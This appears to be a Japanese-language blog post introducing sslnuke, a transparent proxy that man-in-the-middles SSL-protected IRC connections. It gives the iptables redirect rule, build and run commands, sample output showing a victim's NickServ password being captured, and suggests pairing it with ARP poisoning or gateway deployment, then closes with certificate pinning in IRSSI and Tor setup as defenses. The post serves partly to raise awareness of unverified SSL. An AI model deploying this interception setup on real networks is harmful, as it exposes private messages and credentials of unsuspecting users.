
SSLトラフィックを復号化してIRCメッセージを出力する透過プロキシ。
私たちは皆、検証なしのSSLが安全でないことを何度も聞いてきた。SSL接続がキャッシュされた証明書で検証されなければ、攻撃者に簡単に乗っ取られる可能性がある。2013年になっても、この問題が完全に解決されたと思う人もいるだろう。ブラウザは証明書をキャッシュし、サイトが自己検証証明書を提示して信頼できない場合には大きな警告を表示する。ブラウザベンダーはこの問題をほぼ解決している。しかし、HTTPSだけがSSLを使うプロトコルではない。残念ながら、これらの他のプロトコルの多くのクライアントはデフォルトで検証を行わず、たとえ検証を行っても、安全な証明書転送は保証されない。結局のところ、FTPSサーバー用のSSL証明書に50ドルを払ってもいいと思う人がどれだけいるだろうか?
SSLを使うが検証がほとんど行われない一般的なプロトコルはIRCである。多くのIRCクライアントはデフォルトで検証するが、IRCサーバー管理者が正当なSSL証明書を購入しない傾向があるため、ほとんどのユーザーはこの検証をオフにする。人気のあるクライアントの中には、デフォルトでSSL検証をオフにしているものもある(例えばIRSSI)。これは賢明ではないことは既に分かっている。ユーザーとIRCサーバーの間の攻撃者は、無効な証明書を提示してユーザーのトラフィック(機密性の高いメッセージを含む可能性がある)をすべて復号できる。ほとんどのユーザーは、SSLで「保護された」IRCサーバーに接続する際に、この事実さえ考えていない。
sslnukeの目的は、「保護された」IRCトラフィックの復号と傍受に特化したツールを作ることである。SSLトラフィックを傍受する既存のツールは多数あるが、そのほとんどはHTTPトラフィック向けである。sslnukeは「保護された」通信を傍受するのがいかに簡単かを示すために、IRCを直接標的にする。sslnukeの使用方法は簡単である。
まず、sslnukeを実行するためのユーザーアカウントを追加し、トラフィックをリダイレクトするiptablesルールを追加します:
# useradd -s /bin/bash -m sslnuke
# grep sslnuke /etc/passwd
sslnuke:x:1000:1000::/home/sslnuke:/bin/bash
# iptables -t nat -A OUTPUT -p tcp -m owner ! --uid-owner 1000 -m tcp \
--dport 6697 --tcp-flags FIN,SYN,RST,ACK SYN -j REDIRECT --to-ports 4444
最後に、sslnukeとしてログインし、ビルドして、sslnukeを実行します:
# su -l sslnuke
# cd sslnuke
# make
# ./sslnuke
IRCクライアントを起動し、お気に入りのIRCネットワークにSSLでログインすると、IRCメッセージがsslnukeの標準出力に表示されます。
[*] Received connection from: 192.168.0.5:58007
[*] Opening connection to: 1.1.1.1:6697
[*] Connection Using SSL!
[*] irc.com -> AUTH (1.1.1.1): *** Looking up your hostname...
[*] irc.com -> AUTH (1.1.1.1): *** Found your hostname
[*] irc.com -> victim (1.1.1.1): *** You are connected to irc.vps-heaven.com with TLSv1.2-AES256-GCM-SHA384-256bits
[*] 192.168.0.5 -> nickserv (192.168.0.5): id hello
[*] [email protected] -> victim (1.1.1.1): Password accepted - you are now recognized.
sslnukeは、SSLを使用するクライアントを自動的に検出し、SSLを使用するかどうかを判断します。コードは、WebサイトのパスワードやFTPデータなど、SSLを使用するあらゆるものを表示するように簡単に変更することもできます。ネットワーク上のユーザーを攻撃するには、sslnukeをBlackhat LibraryにあるようなARPポイズニングツールと組み合わせて使用するか、ゲートウェイに展開することができます。
sslnukeのビデオデモはascii.ioで見ることができます。
さて、重要な部分に移ります。SSL接続をどのように検証するのでしょうか。最初のステップは、SSL証明書を別の媒体で転送することです。最善の方法は、管理者から直接証明書を受け取ることです。しかし、それが不可能な場合は、opensslを使ってサーバーから証明書をダウンロードできます:
# openssl s_client -showcerts -connect irc.com:6697 </dev/null
証明書を~/.irssi/ssl/irc.com.crtに保存します。このコマンドは、傍受を防ぐために、自分のネットワークとは異なるネットワーク上のコンピュータから実行するのが最善です。次に、IRSSIがその証明書を使用するように設定するには、ネットワークを保存します:
/network add irc
/server add -ssl_cafile ~/.irssi/ssl/irc.com.crt -network irc -port 6697 irc.com
IRSSIが無効な証明書を受け取った場合、警告が表示され、即座に切断されます。しかし、本当に用心深い人には、Tor隠れサービスまたはVPNを使用すべきです。LinuxでTor隠れサービスの自動リダイレクトを設定するには、次のコマンドを実行します:
# echo "VirtualAddrNetwork 10.192.0.0/10" >> /etc/tor/torrc
# echo "AutomapHostsOnResolve 1" >> /etc/tor/torrc
# echo "TransPort 9040" >> /etc/tor/torrc
# echo "DNSPort 5353" >> /etc/tor/torrc
# killall -HUP tor
# iptables -t nat -A OUTPUT -p tcp -d 10.192.0.0/10 -j REDIRECT --to-ports 9040
# iptables -t nat -A OUTPUT -p udp --dport 53 -j REDIRECT --to-ports 5353
# ncat xxxxxxxxxxxxxxx.onion 6667
:irc.com NOTICE AUTH :*** Looking up your hostname...
:irc.com NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead
^C
最終的には、IRCクライアントはSSHスタイルの鍵検証を使用すべきです。最初の接続時に、証明書のフィンガープリントをユーザーに提示し、ユーザーに確認させてから証明書をキャッシュします。次回に変更されている場合は、接続を許可しないでください。
ソースコードはGithubからダウンロードできます。